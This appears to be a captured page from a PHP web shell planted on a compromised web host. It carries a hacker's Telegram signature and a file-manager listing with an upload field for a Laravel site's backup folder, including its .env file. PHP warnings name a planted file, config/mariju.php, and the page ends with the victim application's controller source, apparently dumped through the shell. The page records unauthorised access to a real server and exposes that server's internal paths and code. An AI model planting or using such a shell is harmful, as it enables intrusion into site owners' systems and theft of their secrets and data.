telegram : @iamdarkcomedy i am hacker

path :/home/bisorgosof24/public_html/Backup23122024

upload file:

List of files:

name file size edit permission action
.env2733 KBDecember 22 2024 06:20:070644
404.html58370 KBNovember 20 2024 15:32:220644
502.html58368 KBNovember 20 2024 15:32:220644
Modules-December 11 2024 21:02:560755
README.md4158 KBFebruary 14 2023 12:31:560644
app-December 11 2024 17:57:480755
artisan1686 KBFebruary 14 2023 12:31:560644
bootstrap-December 11 2024 20:23:360755
composer.json3761 KBDecember 11 2024 22:15:000644
composer.lock512048 KBDecember 11 2024 22:13:280644
config-June 15 2025 02:09:360755
database-December 05 2024 20:18:120755
dfsdf dfds fd fds findex.html1420 KBNovember 20 2024 15:32:240644
error_log14638976 KBJuly 18 2025 16:22:300644
firoz-December 23 2024 13:24:460755
index.php1667 KBDecember 14 2024 05:20:360644
lang-December 11 2024 21:02:480755
modules_statuses.json472 KBNovember 20 2024 15:32:240644
mpos-March 31 2025 02:36:310755
package.json226 KBFebruary 14 2023 12:31:560644
phpunit.xml1146 KBFebruary 14 2023 12:31:560644
public-March 31 2025 02:36:310755
resources-December 11 2024 21:10:220755
routes-June 15 2025 02:09:310755
storage-December 11 2024 21:12:440755
tests-December 05 2024 20:18:120755
vendor-December 11 2024 22:13:300755
vite.config.js263 KBFebruary 14 2023 12:31:560644

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 227

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 228

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 229

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 230
moduleUtil = $moduleUtil; } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { if (request()->ajax()) { $business_id = request()->session()->get('user.business_id'); $user_id = request()->session()->get('user.id'); //model id like project_id, user_id $notable_id = request()->get('notable_id'); //model name like App\User $notable_type = request()->get('notable_type'); $document_note = DocumentAndNote::where('business_id', $business_id) ->where('notable_id', $notable_id) ->where(function ($query) use ($user_id) { $query->where('is_private', 0) ->orWhere(function ($q) use ($user_id) { $q->where('is_private', 1) ->where('created_by', $user_id); }); }) ->where('notable_type', $notable_type) ->with('createdBy', 'media') ->select('*'); $permissions = $this->__getPermission($business_id, $notable_id, $notable_type); if (! empty($permissions) && in_array('view', $permissions)) { return Datatables::of($document_note) ->addColumn('action', function ($row) use ($notable_type, $permissions) { $html = '
'; return $html; }) ->editColumn('created_at', ' {{@format_date($created_at)}} ') ->editColumn('updated_at', ' {{@format_date($updated_at)}} ') ->editColumn('createdBy', function ($row) { return $row->createdBy?->user_full_name; }) ->editColumn( 'heading', function ($row) use ($notable_type) { $is_private = ''; if ($row->is_private) { $private_tooltip = __('lang_v1.private_note'); $is_private = ''; } $icon = ''; if ($row->media->count() > 0) { $media_tooltip = __('lang_v1.contains_media'); $icon = ''; } $html = ' '. $row->heading. ' '. $is_private. ' '. $icon .' '; return $html; } ) ->removeColumn('id') ->rawColumns(['action', 'heading', 'createdBy', 'created_at', 'updated_at']) ->make(true); } } } /** * Returns the array of permission for the notable. * * @return array of permissions */ private function __getPermission($business_id, $notable_id, $notable_type) { $permissions = []; //Define all notable for main app. $app_notable = [ \App\User::class => [ 'permissions' => ['view', 'create', 'delete'], ], \App\Contact::class => [ 'permissions' => ['view', 'create', 'delete'], ], ]; if (isset($app_notable[$notable_type])) { return $app_notable[$notable_type]['permissions']; } else { //If not found in main app, get from modules. $module_parameters = [ 'business_id' => $business_id, 'notable_id' => $notable_id, 'notable_type' => $notable_type, ]; $module_data = $this->moduleUtil->getModuleData('addDocumentAndNotes', $module_parameters); foreach ($module_data as $module => $data) { if (isset($data[$notable_type])) { return $data[$notable_type]['permissions']; } } } } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { //model id like project_id, user_id $notable_id = request()->get('notable_id'); //model name like App\User $notable_type = request()->get('notable_type'); return view('documents_and_notes.create') ->with(compact('notable_id', 'notable_type')); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { try { //model id like project_id, user_id $notable_id = request()->get('notable_id'); //model name like App\User $notable_type = request()->get('notable_type'); $input = $request->only('heading', 'description', 'is_private'); $input['business_id'] = request()->session()->get('user.business_id'); $input['created_by'] = request()->session()->get('user.id'); DB::beginTransaction(); if (! empty($input['is_private'])) { activity()->disableLogging(); } //find model to which document is to be added $model = $notable_type::where('business_id', $input['business_id']) ->findOrFail($notable_id); $model_note = $model->documentsAndnote()->create($input); if (! empty($request->get('file_name')[0])) { $file_names = explode(',', $request->get('file_name')[0]); $business_id = request()->session()->get('user.business_id'); Media::attachMediaToModel($model_note, $business_id, $file_names); } DB::commit(); $output = [ 'success' => true, 'msg' => __('lang_v1.success'), ]; } catch (Exception $e) { DB::rollBack(); \Log::emergency('File:'.$e->getFile().'Line:'.$e->getLine().'Message:'.$e->getMessage()); $output = [ 'success' => false, 'msg' => __('messages.something_went_wrong'), ]; } return $output; } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { //model id like project_id, user_id $notable_id = request()->get('notable_id'); //model name like App\User $notable_type = request()->get('notable_type'); $business_id = request()->session()->get('user.business_id'); $document_note = DocumentAndNote::where('business_id', $business_id) ->where('notable_id', $notable_id) ->where('notable_type', $notable_type) ->with('media', 'createdBy') ->findOrFail($id); return view('documents_and_notes.show') ->with(compact('document_note')); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { //model id like project_id, user_id $notable_id = request()->get('notable_id'); //model name like App\User $notable_type = request()->get('notable_type'); $business_id = request()->session()->get('user.business_id'); $document_note = DocumentAndNote::where('business_id', $business_id) ->where('notable_id', $notable_id) ->where('notable_type', $notable_type) ->findOrFail($id); return view('documents_and_notes.edit') ->with(compact('notable_id', 'document_note', 'notable_type')); } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { try { //model id like project_id, user_id $notable_id = request()->get('notable_id'); //model name like App\User $notable_type = request()->get('notable_type'); $business_id = request()->session()->get('user.business_id'); $input = $request->only('heading', 'description'); $input['is_private'] = ! empty($request->get('is_private')) ? 1 : 0; $document_note = DocumentAndNote::where('business_id', $business_id) ->where('notable_id', $notable_id) ->where('notable_type', $notable_type) ->findOrFail($id); DB::beginTransaction(); if ($input['is_private']) { $document_note->disableLogging(); } $document_note->heading = $input['heading']; $document_note->description = $input['description']; $document_note->is_private = $input['is_private']; $document_note->save(); if (! empty($request->get('file_name')[0])) { $file_names = explode(',', $request->get('file_name')[0]); $business_id = request()->session()->get('user.business_id'); Media::attachMediaToModel($document_note, $business_id, $file_names); } DB::commit(); $output = [ 'success' => true, 'msg' => __('lang_v1.success'), ]; } catch (Exception $e) { DB::rollBack(); \Log::emergency('File:'.$e->getFile().'Line:'.$e->getLine().'Message:'.$e->getMessage()); $output = [ 'success' => false, 'msg' => __('messages.something_went_wrong'), ]; } return $output; } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { try { $business_id = request()->session()->get('user.business_id'); //model id like project_id, user_id $notable_id = request()->get('notable_id'); //model name like App\User $notable_type = request()->get('notable_type'); $document_note = DocumentAndNote::where('business_id', $business_id) ->where('notable_id', $notable_id) ->where('notable_type', $notable_type) ->findOrFail($id); DB::beginTransaction(); $document_note->delete(); $document_note->media()->delete(); DB::commit(); $output = [ 'success' => true, 'msg' => __('lang_v1.success'), ]; } catch (Exception $e) { DB::rollBack(); \Log::emergency('File:'.$e->getFile().'Line:'.$e->getLine().'Message:'.$e->getMessage()); $output = [ 'success' => false, 'msg' => __('messages.something_went_wrong'), ]; } return $output; } /** * upload documents in app * * @return \Illuminate\Http\Response */ public function postMedia(Request $request) { try { $file = $request->file('file')[0]; $file_name = Media::uploadFile($file); $output = [ 'success' => true, 'file_name' => $file_name, 'msg' => __('lang_v1.success'), ]; } catch (Exception $e) { \Log::emergency('File:'.$e->getFile().'Line:'.$e->getLine().'Message:'.$e->getMessage()); $output = [ 'success' => false, 'msg' => __('messages.something_went_wrong'), ]; } return $output; } /** * get docus & note index page * through ajax * * @return \Illuminate\Http\Response */ public function getDocAndNoteIndexPage(Request $request) { if (request()->ajax()) { $business_id = request()->session()->get('user.business_id'); $notable_type = $request->get('notable_type'); $notable_id = $request->get('notable_id'); $permissions = $this->__getPermission($business_id, $notable_id, $notable_type); return view('documents_and_notes.index') ->with(compact('permissions', 'notable_type', 'notable_id')); } } }